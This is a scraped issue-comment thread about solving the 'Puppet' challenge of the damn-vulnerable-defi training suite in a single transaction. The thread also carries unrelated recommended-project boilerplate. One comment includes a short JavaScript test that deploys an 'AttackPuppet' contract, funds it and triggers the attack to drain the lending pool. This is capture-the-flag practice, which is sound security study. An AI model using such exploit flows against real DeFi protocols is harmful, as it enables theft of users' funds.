Comments (6)
You can solve it with only 1 transaction. It's doable
from damn-vulnerable-defi.
The only way I was able to solve it with 1 transaction is to create another signer to deploy the malicious contract and execute the attack.
If you use only player, you can't do it in less than 2 transactions since one of them should be approving the tokens from the player EOA account.
This is my JS code to solve it with one tx:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
[,,this.player2] = await ethers.getSigners();
const AttackerContractFactory = await ethers.getContractFactory('AttackPuppet', this.player2);
this.attackerContract = await AttackerContractFactory.deploy(
token.address, uniswapExchange.address, lendingPool.address
)
token.connect(player).transfer(this.attackerContract.address, PLAYER_INITIAL_TOKEN_BALANCE);
await this.attackerContract.attack({value: 11n * 10n ** 18n});
await token.connect(this.player2).transfer(player.address, await token.balanceOf(this.player2.address));
});
from damn-vulnerable-defi.
That is the same thing I thought originally, but you can actually do it in one transaction. I don't want to spoil the solution here, but for anyone searching later, look for how approval "can" work
from damn-vulnerable-defi.
Got it, cool! :)
from damn-vulnerable-defi.
Related Issues (6)
- Puppet Unsolvable in 1 Transaction HOT 4
- [Wallet Mining] Changing DEPOSIT_ADDRESS to the correct checksummed address?
- Useless Javascript code in Free Rider
- Challenge #5 The Rewarder, ERC20Snapshot.sol no longer available in OpenZeppelin v5.0.0 HOT 1
- Challenge #8 Puppet, Uniswap V1 ABI missing `stateMutability` fields (Foundry) HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from damn-vulnerable-defi.